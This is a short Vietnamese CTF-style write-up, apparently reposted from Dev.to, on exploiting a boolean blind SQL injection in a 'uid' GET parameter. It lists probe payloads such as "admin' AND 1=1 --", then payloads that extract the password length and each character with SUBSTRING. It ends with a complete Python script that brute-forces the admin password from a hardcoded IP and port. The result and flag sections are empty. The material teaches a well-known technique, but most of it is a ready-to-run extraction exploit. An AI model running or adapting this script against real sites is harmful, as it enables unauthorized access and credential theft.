Simple Blind SQL Injection
Source: Dev.to

Phân tích lỗ hổng
Trang web nhận tham số uid qua HTTP GET.
Payload 1
admin' AND 1=1 --
Kết quả:

Payload 2
admin' AND 1=2 --
Kết quả:

→ Không trả về "exists".
Kết luận
Backend có truy vấn SQL dạng:
SELECT * FROM users WHERE uid = '$uid';
→ Đây là Blind SQL Injection dạng boolean.
Chiến lược khai thác
- Xác định độ dài mật khẩu bằng
LENGTH(upw). - Trích xuất từng ký tự bằng
SUBSTRING(upw, position, 1). - So sánh với charset đã biết (
[a-z0-9_]). - Dựa vào chuỗi phản hồi
"exists"để xác định điều kiện đúng.
Khai thác chi tiết
3.1. Xác định độ dài mật khẩu
Payload mẫu:
admin' AND LENGTH(upw)=N --
Tăng dần N cho đến khi server trả về "exists".
3.2. Trích xuất mật khẩu từng ký tự
Payload tại vị trí i:
admin' AND SUBSTRING(upw,i,1)='c' --
Duyệt toàn bộ charset [a-z0-9_] cho mỗi vị trí.
Script exploit
import requests
import string
URL = "http://103.97.125.56:30536/"
TRUE_TEXT = "exists"
charset = string.ascii_lowercase + string.digits + "_"
def is_true(payload):
params = {"uid": payload}
r = requests.get(URL, params=params, timeout=5)
return TRUE_TEXT in r.text
def get_length(max_len=50):
print("[*] Đang xác định độ dài mật khẩu...")
for length in range(1, max_len + 1):
payload = f"admin' AND LENGTH(upw)={length} -- "
if is_true(payload):
print(f"[+] Độ dài mật khẩu là: {length}")
return length
raise Exception("Không xác định được độ dài mật khẩu")
def dump_password(length):
password = ""
print("[*] Đang trích xuất mật khẩu...")
for i in range(1, length + 1):
for c in charset:
payload = f"admin' AND SUBSTRING(upw,{i},1)='{c}' -- "
if is_true(payload):
password += c
print(f"[+] Tìm được ký tự thứ {i}: {c}")
break
else:
raise Exception(f"Không tìm được ký tự tại vị trí {i}")
return password
if __name__ == "__main__":
length = get_length()
password = dump_password(length)
print("\n[✓] Mật khẩu admin:", password)
Kết quả thu được

Sau khi có mật khẩu, tiến hành đăng nhập:

Flag thu được:
